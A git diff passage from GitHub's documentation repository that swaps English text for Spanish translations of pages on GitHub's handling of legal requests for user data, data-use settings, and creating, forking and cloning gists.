 - <a name="private-account-data"></a>
-**Private account data** —
-GitHub also collects and maintains certain private information about users as outlined in our [Privacy Policy](/articles/github-privacy-statement).
-This may include:
-  - Private email addresses
-  - Payment details
-  - Security access logs
-  - Data about interactions with private repositories
+**Datos privados de la cuenta** — GitHub también recopila y mantiene cierta información privada sobre los usuarios como se describe en nuestra [Política de Privacidad](/articles/github-privacy-statement).+ Puede incluir:
+  - Direcciones de correo electrónico privadas
+  - Detalles de pago
+  - Registros de acceso de seguridad
+  - Datos sobre interacciones con los repositorios privados
 
-  To get a sense of the type of private account information that GitHub collects, you can visit your {% data reusables.user_settings.personal_dashboard %} and browse through the sections in the left-hand menubar.
+  Para obtener un sentido del tipo de información de cuenta privada que recopila GitHub, puedes visitar tu {% data reusables.user_settings.personal_dashboard %} y navegar por las secciones de la barra de menú de la izquierda.
 
 - <a name="organization-account-data"></a>
-**Organization account data** —
-Information about organizations, their administrative users and repositories is publicly available on GitHub.
-Organization profiles can be found at a URL such as `https://github.com/organization`.
-Public organization profiles can also include additional information that the owners have chosen to share publicly.
-All organization public profiles display:
-  - The organization name
-  - The repositories that the owners have starred
-  - All GitHub users that are owners of the organization
+**Datos de cuenta de la organización** — La información sobre organizaciones, sus usuarios administrativos y repositorios está disponible públicamente en GitHub. Los perfiles de la organización se pueden encontrar en una URL como `https://github.com/organization`. Los perfiles de las organizaciones públicas también pueden incluir información adicional que los propietarios han decidido compartir públicamente. Visualización de todos los perfiles públicos de la organización:
+  - Nombre de la organización
+  - Los repositorios que los propietarios han marcado
+  - Todos los usuarios de GitHub que son propietarios de la organización
 
-  Optionally, administrative users may also choose to share the following information publicly:
-  - An avatar
-  - An affiliated company
-  - Their location
-  - Direct Members and Teams
-  - Collaborators
+  Opcionalmente, los usuarios administrativos también pueden optar por compartir públicamente la siguiente información:
+  - Un avatar
+  - Una empresa afiliada
+  - Su ubicación
+  - Miembros directos y equipos
+  - Colaboradores
 
 - <a name="public-repository-data"></a>
-**Public repository data** —
-GitHub is home to millions of public, open-source software projects.
-You can browse almost any public repository (for example, the [Atom Project](https://github.com/atom/atom)) to get a sense for the information that GitHub collects and maintains about repositories.
-This can include:
+**Datos del repositorio público**</strong> — GitHub es el hogar de millones de proyectos públicos de software de código público. Puede navegar casi cualquier repositorio público (por ejemplo, el [Proyecto Atom](https://github.com/atom/atom)) para tener un sentido de la información que GitHub recopila y mantiene sobre repositorios. Puede incluir:
 
-  - The code itself
-  - Previous versions of the code
-  - Stable release versions of the project
-  - Information about collaborators, contributors and repository members
-  - Logs of Git operations such as commits, branching, pushing, pulling, forking and cloning
-  - Conversations related to Git operations such as comments on pull requests or commits
-  - Project documentation such as Issues and Wiki pages
-  - Statistics and graphs showing contributions to the project and the network of contributors
+  - El código
+  - Versiones anteriores del código
+  - Versiones de lanzamiento estables del proyecto
+  - Información sobre colaboradores, contibuyentes y miembros del repositorio
+  - Registros de operaciones de Git como confirmaciones, ramificar, subir, extraer, bifurcar y clonar
+  - Conversaciones relacionadas con operaciones de Git como comentarios sobre solicitudes de extracción o confirmaciones
+  - Documentación del proyecto como Cuestiones y páginas Wiki
+  - Estadísticas y gráficos que muestran contribuciones al proyecto y a la red de colaboradores
 
 - <a name="private-repository-data"></a>
-**Private repository data** —
-GitHub collects and maintains the same type of data for private repositories that can be seen for public repositories, except only specifically invited users may access private repository data.
+**Datos privados del repositorio** — GitHub recopila y mantiene el mismo tipo de datos para los repositorios privados que se pueden ver en los repositorios públicos, excepto que solamente los usuarios invitados específicamente puedan acceder a los datos del repositorio privado.
 
 - <a name="other-data"></a>
-**Other data** —
-Additionally, GitHub collects analytics data such as page visits and information occasionally volunteered by our users (such as communications with our support team, survey information and/or site registrations).
+**Otros datos** - Adicionalmente, GitHub recopila datos analíticos tales como visitas de páginas e información ocasionalmente voluntaria por nuestros usuarios (por ejemplo, comunicaciones con nuestro equipo de soporte, información de la encuesta y/o registros del sitio).
 
-## We will notify any affected account owners
+## Notificaremos a los propietarios de las cuentas afectadas
 
-It is our policy to notify users about any pending requests regarding their accounts or repositories, unless we are prohibited by law or court order from doing so. Before disclosing user information, we will make a reasonable effort to notify any affected account owner(s) by sending a message to their verified email address providing them with a copy of the subpoena, court order, or warrant so that they can have an opportunity to challenge the legal process if they wish. In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation.
+Es nuestra política notificar a los usuarios sobre cualquier solicitud pendiente con respecto a sus cuentas o repositorios, a menos que se nos prohíba por ley u orden judicial hacerlo. Antes de revelar la información del usuario haremos un esfuerzo razonable para notificar a cualquier dueño de la cuenta afectada enviando un mensaje a su dirección de correo electrónico verificada proporcionándoles una copia de la cita, orden judicial u orden para que puedan tener la oportunidad de impugnar el proceso legal si lo desean. En circunstancias exigentes (raras), podríamos atrasar la notificación si lo creemos necesario para prevenir la muerte o el daño serio o debido a que existe una investigación en curso.
 
-## Disclosure of non-public information
+## Divulgación de información no pública
 
-It is our policy to disclose non-public user information in connection with a civil or criminal investigation only with user consent or upon receipt of a valid subpoena, civil investigative demand, court order, search warrant, or other similar valid legal process. In certain exigent circumstances (see below), we also may share limited information but only corresponding to the nature of the circumstances, and would require legal process for anything beyond that.
-GitHub reserves the right to object to any requests for non-public information.
-Where GitHub agrees to produce non-public information in response to a lawful request, we will conduct a reasonable search for the requested information.
-Here are the kinds of information we will agree to produce, depending on the kind of legal process we are served with:
+Es nuestra política divulgar información de usuario no pública en relación con una investigación civil o criminal solo con el consentimiento del usuario o tras la recepción de una citación válida, demanda de investigación civil, orden judicial, orden de búsqueda u otro proceso legal válido similar. En ciertas circunstancias exigentes (véase abajo), también podemos compartir información limitada pero sólo correspondiente a la naturaleza de las circunstancias y requeriremos un proceso legal para cualquier tema adicional. GitHub se reserva el derecho de objetar cualquier solicitud de información no pública. Cuando GitHub acuerde producir información no pública en respuesta a una solicitud legal, realizaremos una búsqueda razonable para la información solicitada. Estos son los tipos de información que acordaremos producir, dependiendo del tipo de proceso legal que atendamos:
 
 - <a name="with-user-consent"></a>
-**With user consent** —
-GitHub will provide private account information, if requested, directly to the user (or an owner, in the case of an organization account), or to a designated third party with the user's written consent once GitHub is satisfied that the user has verified his or her identity.
+**Con el consentimiento del usuario** — GitHub proporcionará información de cuenta privada, si se solicita, directamente al usuario (o un propietario, en el caso de una cuenta de organización) o a un tercero designado con el consentimiento por escrito del usuario una vez que GitHub esté satisfecho de que el usuario haya verificado su identidad.
 
 - <a name="with-a-subpoena"></a>
-**With a subpoena** —
-If served with a valid subpoena, civil investigative demand, or similar legal process issued in connection with an official criminal or civil investigation, we can provide certain non-public account information, which may include:
+**Con una citación ** — Si atiende una solicitud de investigación civil válida o un proceso legal similar emitido en relación con una investigación penal o civil oficial, podemos proporcionar cierta información de cuenta no pública, que puede incluir:
 
-  - Name(s) associated with the account
-  - Email address(es) associated with the account
-  - Billing information
-  - Registration date and termination date
-  - IP address, date, and time at the time of account registration
-  - IP address(es) used to access the account at a specified time or event relevant to the investigation
+  - Nombre(s) asociados con la cuenta
+  - Dirección(es) de correo electrónico asociada(s) a la cuenta
+  - Información de facturación
+  - Fecha de registro y fecha de finalización
+  - Dirección IP, fecha y hora al momento del registro de la cuenta
+  - Dirección(es) IP utilizada para acceder a la cuenta en un momento o evento específico relevante para la investigación
 
-In the case of organization accounts, we can provide the name(s) and email address(es) of the account owner(s) as well as the date and IP address at the time of creation of the organization account. We will not produce information about other members or contributors, if any, to the organization account or any additional information regarding the identified account owner(s) without a follow-up request for those specific users.
+En el caso de cuentas de organización, podemos proporcionar el(los) nombre(s) y la(s) dirección(es) de correo electrónico del propietario(s) de la cuenta, así como la fecha y la dirección IP en el momento de la creación de la cuenta de la organización. No produciremos información sobre otros miembros o colaboradores, si existen, a la cuenta de la organización o cualquier información adicional relacionada con el propietario o dueño de la cuenta identificada sin una solicitud de seguimiento para esos usuarios específicos.
 
-Please note that the information available will vary from case to case. Some of the information is optional for users to provide. In other cases, we may not have collected or retained the information.
+Tenga en cuenta que la información disponible variará de un caso a otro. Parte de la información es opcional para que los usuarios la proporcionen. En otros casos, es posible que no hayamos recopilado ni conservado la información.
 
 - <a name="with-a-court-order-or-a-search-warrant"></a>
-**With a court order *or* a search warrant** — We will not disclose account access logs unless compelled to do so by either
-(i) a court order issued under 18 U.S.C. Section 2703(d), upon a showing of specific and articulable facts showing that there are reasonable grounds to believe that the information sought is relevant and material to an ongoing criminal investigation; or
-(ii) a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures, upon a showing of probable cause.
-In addition to the non-public user account information listed above, we can provide account access logs in response to a court order or search warrant, which may include:
+**Con una orden judicial *o* una orden de registro** — No divulgaremos registros de acceso a la cuenta a menos que se nos obligue a hacerlo por (i) una orden judicial emitida bajo 18 U. S.C. Sección 2703(d), sobre una muestra de hechos específicos y articulables que demuestran que existen motivos razonables para creer que la información solicitada es relevante y material para una investigación criminal en curso; o (ii) una orden de búsqueda emitida bajo los procedimientos descritos en las Normas Federales de Procedimiento Penal o procedimientos equivalentes de la orden estatal sobre una muestra de causa probable. Además de la información no pública de la cuenta de usuario listada anteriormente podemos proporcionar registros de acceso a la cuenta en respuesta a una orden judicial o a una orden de registro, que puede incluir:
 
-  - Any logs which would reveal a user's movements over a period of time
-  - Account or private repository settings (for example, which users have certain permissions, etc.)
-  - User- or IP-specific analytic data such as browsing history
-  - Security access logs other than account creation or for a specific time and date
+  - Cualquier registro que revele los movimientos de un usuario a lo largo de un período de tiempo
+  - Configuración de la cuenta o repositorio privado (por ejemplo, qué usuarios tienen ciertos permisos, etc.)
+  - Datos analíticos específicos del usuario o IP, como el historial de navegación
+  - Registros de acceso de seguridad distintos a la creación de cuentas o para una fecha y hora específica
 
 - <a name="only-with-a-search-warrant"></a>
-**Only with a search warrant** —
-We will not disclose the private contents of any user account unless compelled to do so under a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause.
-In addition to the non-public user account information and account access logs mentioned above, we will also provide private user account contents in response to a search warrant, which may include:
+**Sólo con una orden de registro** — No divulgaremos el contenido privado de ninguna cuenta de usuario a menos que se lo obligue a hacerlo bajo una orden de registro emitida de acuerdo con los procedimientos descritos en las Normas Federales de Procedimiento Penal o procedimientos equivalentes de la orden estatal al mostrar una causa probable. Además de la información no pública de la cuenta de usuario y los registros de acceso a la cuenta mencionados anteriormente también proporcionaremos contenido privado de la cuenta de usuario en respuesta a una orden de registro, que puede incluir:
 
-  - Contents of secret Gists
-  - Source code or other content in private repositories
-  - Contribution and collaboration records for private repositories
-  - Communications or documentation (such as Issues or Wikis) in private repositories
-  - Any security keys used for authentication or encryption
+  - Contenidos de Gists secretos
+  - Código fuente u otro contenido en los repositorios privados
+  - Registros de contribución y colaboración para los repositorios privados
+  - Comunicaciones o documentación (como Cuestiones o Wikis) en depósitos privados
+  - Cualquier clave de seguridad usada para autenticación o cifrado
 
 - <a name="in-exigent-circumstances"></a>
-**Under exigent circumstances** —
-If we receive a request for information under certain exigent circumstances (where we believe the disclosure is necessary to prevent an emergency involving danger of death or serious physical injury to a person), we may disclose limited information that we determine necessary to enable law enforcement to address the emergency. For any information beyond that, we would require a subpoena, search warrant, or court order, as described above. For example, we will not disclose contents of private repositories without a search warrant. Before disclosing information, we confirm that the request came from a law enforcement agency, an authority sent an official notice summarizing the emergency, and how the information requested will assist in addressing the emergency.
+**Bajo circunstancias exigentes** — Si recibimos una solicitud de información bajo ciertas circunstancias exigentes (donde creemos que la divulgación es necesaria para prevenir una emergencia que implique peligro de muerte o lesiones físicas graves a una persona), podemos divulgar información limitada que determinamos necesaria para permitir que las fuerzas policiales atiendan la emergencia. Para cualquier información adicional, necesitaríamos una citación, una orden de registro, una orden judicial, como se describe anteriormente. Por ejemplo, no divulgaremos contenidos de repositorios privados sin una orden de registro. Antes de divulgar la información, confirmamos que la solicitud procedía de una agencia policial, que una autoridad haya enviado una notificación oficial resumiendo la emergencia y cómo la información solicitada ayudará a resolver la emergencia.
 
-## Cost reimbursement
+## Reembolso de costes
 
-Under state and federal law, GitHub can seek reimbursement for costs associated with compliance with a valid legal demand, such as a subpoena, court order or search warrant. We only charge to recover some costs, and these reimbursements cover only a portion of the costs we actually incur to comply with legal orders.
+Bajo la ley federal y estatal, GitHub podrá buscar el reembolso de los costos asociados con el cumplimiento con una demanda legal válida, tal como una citación, orden judicial o orden de búsqueda. Solo cobramos la cantidad de los cargos de recuperación y dichos reembolsos solo cubren una parte de los costos que realmente incurrimos para cumplir con las órdenes legales.
 
-While we do not charge in emergency situations or in other exigent circumstances, we seek reimbursement for all other legal requests in accordance with the following schedule, unless otherwise required by law:
+Si bien no hacemos cargos en situaciones de emergencia o en otras circunstancias exigentes, buscamos el reembolso por todo el resto de las solicitudes legales de acuerdo con la siguiente programación, a menos de que se requiera legalmente de otra forma:
 
-- Initial search of up to 25 identifiers: Free
-- Production of subscriber information/data for up to 5 accounts: Free
-- Production of subscriber information/data for more than 5 accounts: $20 per account
-- Secondary searches: $10 per search
+- Búsqueda inicial de hasta 25 identificadores: Gratuita
+- Información/datos de suscripción o producción hasta 5 cuentas: Gratuito
+- Información/datos de suscripción o producción en más de 5 cuentas: $20 por cuenta
+- Búsquedas secundarias: $10 por búsqueda
 
-## Data preservation
+## Conservación de datos
 
-We will take steps to preserve account records for up to 90 days upon formal request from U.S. law enforcement in connection with official criminal investigations, and pending the issuance of a court order or other process.
+Tomaremos medidas para preservar los registros de la cuenta por hasta 90 días desde que se tenga una solicitud formal de las autoridades policiales de los EE. UU. en conexión con las investigaciones criminales oficiales, y pendiente de emitir una orden judicial u otro proceso.
 
-## Submitting requests
+## Cómo enviar solicitudes
 
-Please serve requests to:
+Envía solicitudes a:
 
 ```
 GitHub, Inc.
@@ -226,25 +173,23 @@ c/o Corporation Service Company
 Sacramento, CA 95833-3505
 ```
 
-Courtesy copies may be emailed to legal@support.github.com.
+Se pueden enviar copias de cortesía por correo electrónico a legal@support.github.com.
 
-Please make your requests as specific and narrow as possible, including the following information:
+Por favor, realiza tus solicitudes lo más específicas y limitadas posible, incluyendo la siguiente información:
 
-- Full information about authority issuing the request for information
-- The name and badge/ID of the responsible agent
-- An official email address and contact phone number
-- The user, organization, repository name(s) of interest
-- The URLs of any pages, gists or files of interest
-- The description of the types of records you need
+- Información completa sobre la autoridad que emite la solicitud de información
+- El nombre y el gafete/ID del agente responsable
+- Una dirección de correo electrónico oficial y número de teléfono de contacto
+- El usuario, organización, nombre(s) del repositorio de interés
+- Las URLs de cualquier página, lista o archivos de interés
+- La descripción de los tipos de registros que necesitas
 
-Please allow at least two weeks for us to be able to look into your request.
+Por favor, espera al menos dos semanas para que podamos examinar tu solicitud.
 
-## Requests from foreign law enforcement
+## Solicitudes de aplicación de la ley extranjera
 
-As a United States company based in California, GitHub is not required to provide data to foreign governments in response to legal process issued by foreign authorities.
-Foreign law enforcement officials wishing to request information from GitHub should contact the United States Department of Justice Criminal Division's Office of International Affairs.
-GitHub will promptly respond to requests that are issued via U.S. court by way of a mutual legal assistance treaty (“MLAT”) or letter rogatory.
+Como empresa de Estados Unidos con sede en California, GitHub no está obligada a proporcionar datos a los gobiernos extranjeros en respuesta al proceso legal emitido por autoridades extranjeras. Los funcionarios encargados de hacer cumplir la ley extranjera que deseen solicitar información a GitHub deben ponerse en contacto con la Oficina de Asuntos Internacionales del Departamento de Justicia de los Estados Unidos. GitHub responderá rápidamente a las solicitudes que se emitan a través del tribunal de los Estados Unidos mediante un tratado de asistencia legal mutuo (“MLAT”) o exhorto. mediante un tratado de asistencia legal mutuo (“MLAT”) o exhorto.
 
-## Questions
+## Preguntas
 
-Do you have other questions, comments or suggestions? Please contact {% data variables.contact.contact_support %}.
+¿Tiene otras preguntas, comentarios o sugerencias? Ponte en contacto con {% data variables.contact.contact_support %}.
diff --git a/translations/es-ES/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md b/translations/es-ES/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
index 22de459d32..3b99587895 100644
--- a/translations/es-ES/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
+++ b/translations/es-ES/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md
@@ -24,7 +24,8 @@ Cuando habilitas el uso de datos para tu repositorio privado, podrás acceder a
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Debajo de "Configurar la seguridad y las características de análisis", a la derecha de la característica, da clic en **Inhabilitar** o **Habilitar**. ![Botón de "Habilitar" o "Inhabilitar" para las características de "Configurar la seguridad y el análisis"](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png)
+4. Debajo de "Configurar características de seguridad y análisis", a la derecha de la característica, haz clic en **Inhabilitar** o en **Habilitar**.{% ifversion fpt %} !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghec %}
+!["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-ghec-private.png){% endif %}
 
 ## Leer más
 
diff --git a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
index d52fb36e48..4a0474baad 100644
--- a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
+++ b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
@@ -1,6 +1,6 @@
 ---
-title: Creating gists
-intro: 'You can create two kinds of gists: {% ifversion ghae %}internal{% else %}public{% endif %} and secret. Create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist if you''re ready to share your ideas with {% ifversion ghae %}enterprise members{% else %}the world{% endif %} or a secret gist if you''re not.'
+title: Crear gists
+intro: 'Puedes crear dos tipos de gists: {% ifversion ghae %}internos{% else %}públicos{% endif %} y secretos. Crea un gist {% ifversion ghae %}interno{% else %}público{% endif %} si estás listo para compartir tus ideas con {% ifversion ghae %}los miembros de la emrpesa{% else %}el mundo{% endif %} o, de lo contrario, un gist secreto.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
 redirect_from:
   - /articles/about-gists
@@ -14,71 +14,68 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## About gists
 
-Every gist is a Git repository, which means that it can be forked and cloned. {% ifversion not ghae %}If you are signed in to {% data variables.product.product_name %} when{% else %}When{% endif %} you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}.
+## Acerca de los gists
 
-Gists can be {% ifversion ghae %}internal{% else %}public{% endif %} or secret. {% ifversion ghae %}Internal{% else %}Public{% endif %} gists show up in {% data variables.gists.discover_url %}, where {% ifversion ghae %}enterprise members{% else %}people{% endif %} can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work.
+Todo gist es un repositorio Git, lo que significa que se puede bifurcar y clonar. {% ifversion not ghae %}Si iniciaste sesión en {% data variables.product.product_name %} cuando{% else %}Cuando{% endif %} creas un gist, este se asociará con tu cuenta y lo verás en tu lista de gists cuando navegues a tu {% data variables.gists.gist_homepage %}.
 
-Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable. Secret gists aren't private. If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/articles/creating-a-new-repository) instead.
+Los gists pueden ser {% ifversion ghae %}internos{% else %}públicos{% endif %} o secretos. Los gists {% ifversion ghae %}internos{% else %}públicos{% endif %} se muestran en {% data variables.gists.discover_url %}, en donde {% ifversion ghae %}los miembros empresariales{% else %}las personas{% endif %} pueden buscar gists nuevos conforme estos se creen. También se los puede buscar, para que puedas usarlos si deseas que otras personas encuentren tu trabajo y lo vean.
+
+Los gists secretos no se muestran en {% data variables.gists.discover_url %} y no se pueden buscar. Los gists no son privados. Si envías la URL de un gist secreto a {% ifversion ghae %}otro miembro de la empresa{% else %}un amigo {% endif %}, podrán verlo. Sin embargo, si {% ifversion ghae %}cualquier otro miembro de la empresa{% else %}alguien que no conozcas{% endif %} descubre la URL, también podrán ver tu gist. Si deseas mantener tu código a salvo de las miradas curiosas, puedes optar por [crear un repositorio privado](/articles/creating-a-new-repository) en lugar de un gist.
 
 {% data reusables.gist.cannot-convert-public-gists-to-secret %}
 
 {% ifversion ghes %}
 
-If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret.
+Si el administrador de tu sitio ha inhabilitado el modo privado, también puedes usar gists anónimos, que pueden ser públicos o privados.
 
 {% data reusables.gist.anonymous-gists-cannot-be-deleted %}
 
 {% endif %}
 
-You'll receive a notification when:
-- You are the author of a gist.
-- Someone mentions you in a gist.
-- You subscribe to a gist, by clicking **Subscribe** at the top of any gist.
+Recibirás una notificación si:
+- Seas el autor de un gist.
+- Alguien te mencione en un gist.
+- Puedes suscribirte a un gist haciendo clic en **Suscribir** en la parte superior de cualquier gist.
 
 {% ifversion fpt or ghes or ghec %}
 
-You can pin gists to your profile so other people can see them easily. For more information, see "[Pinning items to your profile](/articles/pinning-items-to-your-profile)."
+Puedes fijar los gists a tu perfil para que otras personas los puedan ver fácilmente. Para obtener más información, consulta "[A nclar elementos a tu perfil](/articles/pinning-items-to-your-profile)".
 
 {% endif %}
 
-You can discover {% ifversion ghae %}internal{% else %}public{% endif %} gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code).
+Puedes descubrir gists {% ifversion ghae %}internos{% else %}públicos{% endif %} que hayan creado otras personas si vas a la {% data variables.gists.gist_homepage %} y das clic en **Todos los gists**. Esto te llevará a una página en la que aparecen todos los gists clasificados y presentados por fecha de creación o actualización. También puedes buscar los gists por idioma con {% data variables.gists.gist_search_url %}. La búsqueda de gists usa la misma sintaxis de búsqueda que la [búsqueda de código](/search-github/searching-on-github/searching-code).
 
-Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see ["Forking and cloning gists"](/articles/forking-and-cloning-gists).
+Dado que los gists son repositorios Git, puedes ver su historial de confirmaciones completo, que incluye todas las diferencias que existan. También puedes bifurcar o clonar gists. Para obtener más información, consulta "[Bifurcar y clonar gists"](/articles/forking-and-cloning-gists).
 
-You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports Javascript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`.
+Puedes descargar un archivo ZIP de un gist haciendo clic en el botón **Descargar ZIP** en la parte superior del gist. Puedes insertar un gist en cualquier campo de texto compatible con Javascript, como una publicación en un blog. Para insertar el código, haz clic en el icono del portapapeles junto a la URL **Insertar** de un gist. Para insertar un archivo de gist específico, anexa la URL **Insertar** con `?file=FILENAME`.
 
 {% ifversion fpt or ghec %}
 
-Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)."
+Git admite la asignación de archivos GeoJSON. Estas asignaciones se muestran como gists insertos, para que las asignaciones se puedan compartir e insertar fácilmente. Para obtener más información, consulta la sección "[Trabajar con archivos que no sean de código](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)".
 
 {% endif %}
 
-## Creating a gist
+## Crear un gist
 
-Follow the steps below to create a gist.
+Sigue estos pasos para crear un gist.
 
 {% ifversion fpt or ghes or ghae or ghec %}
 {% note %}
 
-You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" in the {% data variables.product.prodname_cli %} documentation.
+También puedes crear un gist si utilizas el {% data variables.product.prodname_cli %}. Para obtener más información, consulta "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" en el {% data variables.product.prodname_cli %}.
 
-Alternatively, you can drag and drop a text file from your desktop directly into the editor.
+Como alternativa, puedes arrastrar y soltar un archivo de texto desde tu escritorio directamente en el editor.
 
 {% endnote %}
 {% endif %}
 
-1. Sign in to {% data variables.product.product_name %}.
-2. Navigate to your {% data variables.gists.gist_homepage %}.
-3. Type an optional description and name for your gist.
-![Gist name description](/assets/images/help/gist/gist_name_description.png)
+1. Inicia sesión en {% data variables.product.product_name %}.
+2. Dirígete a tu {% data variables.gists.gist_homepage %}.
+3. Escribe una descripción opcional y un nombre para tu gist. ![Descripción del nombre del gist](/assets/images/help/gist/gist_name_description.png)
 
-4. Type the text of your gist into the gist text box. 
-![Gist text box](/assets/images/help/gist/gist_text_box.png)
+4. Teclea el texto de tu gist en la caja de texto de este. ![Cuadro de texto para el gist](/assets/images/help/gist/gist_text_box.png)
 
-5. Optionally, to create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. 
-![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %}
+5. Opcionalmente, para crear un gist {% ifversion ghae %}interno{% else %}público{% endif %}, da clic en {% octicon "triangle-down" aria-label="The downwards triangle icon" %} y luego en **Crear gist {% ifversion ghae %}interno{% else %}público{% endif %}**. ![Menú desplegable para seleccionar la visibilidad de un gist]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %}
 
-6. Click **Create secret Gist** or **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**. 
-  ![Button to create gist](/assets/images/help/gist/create-secret-gist-button.png)
+6. Da clic en **Crear Gist Secreto** o en **Crear gist {% ifversion ghae %}interno{% else %}público{% endif %}**. ![Botón para crear gist](/assets/images/help/gist/create-secret-gist-button.png)
diff --git a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
index 21c3bd883f..c71f320cdb 100644
--- a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
+++ b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
@@ -1,6 +1,6 @@
 ---
-title: Forking and cloning gists
-intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.'
+title: Bifurcar y clonar gists
+intro: 'Los gists son en realidad repositorios de Git, lo que significa que puedes bifurcar o clonar cualquier gist, aunque no seas el autor original. También puedes ver el historial completo de confirmaciones de un gist, incluidas las diferencias.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
 redirect_from:
   - /articles/forking-and-cloning-gists
@@ -11,24 +11,25 @@ versions:
   ghae: '*'
   ghec: '*'
 ---
-## Forking gists
 
-Each gist indicates which forks have activity, making it easy to find interesting changes from others.
+## Bifurcar gists
 
-![Gist forks](/assets/images/help/gist/gist_forks.png)
+Cada gist indica qué bifurcaciones tiene actividad, haciéndo más fácil el encontrar cambios interesantes de otras personas.
 
-## Cloning gists
+![Bifurcaciones del gist](/assets/images/help/gist/gist_forks.png)
 
-If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+## Clonar gists
 
-![Gist clone button](/assets/images/help/gist/gist_clone_btn.png)
+Si deseas hacer cambios locales en un gist y subirlos a la web, puedes clonar un gist y hacer confirmaciones de la misma manera que lo harías con cualquier repositorio de Git. Para obtener más información, consulta "[Clonar un repositorio](/articles/cloning-a-repository)".
 
-## Viewing gist commit history
+![Botón Clonar gist](/assets/images/help/gist/gist_clone_btn.png)
 
-To view a gist's full commit history, click the "Revisions" tab at the top of the gist.
+## Ver el historial de confirmaciones de un gist
 
-![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png)
+Para ver el historial de confirmaciones completo de un gist, haz clic en la pestaña "Revisiones" en la parte superior de este.
 
-You will see a full commit history for the gist with diffs.
+![Pestaña Revisiones de gist](/assets/images/help/gist/gist_revisions_tab.png)
 
-![Gist revisions page](/assets/images/help/gist/gist_history.png)
+Verás el historial completo de confirmaciones del gist con sus diferencias.
+
+![Página de revisiones de gist](/assets/images/help/gist/gist_history.png)
diff --git a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
index cbc1fe7c11..cd1eadb86e 100644
--- a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
+++ b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/index.md
@@ -1,5 +1,5 @@
 ---
-title: Editing and sharing content with gists
+title: Editar y compartir contenido con gists
 intro: ''
 redirect_from:
   - /categories/23/articles
@@ -13,6 +13,6 @@ versions:
 children:
   - /creating-gists
   - /forking-and-cloning-gists
-shortTitle: Share content with gists
+shortTitle: Compartir el contenido con gists
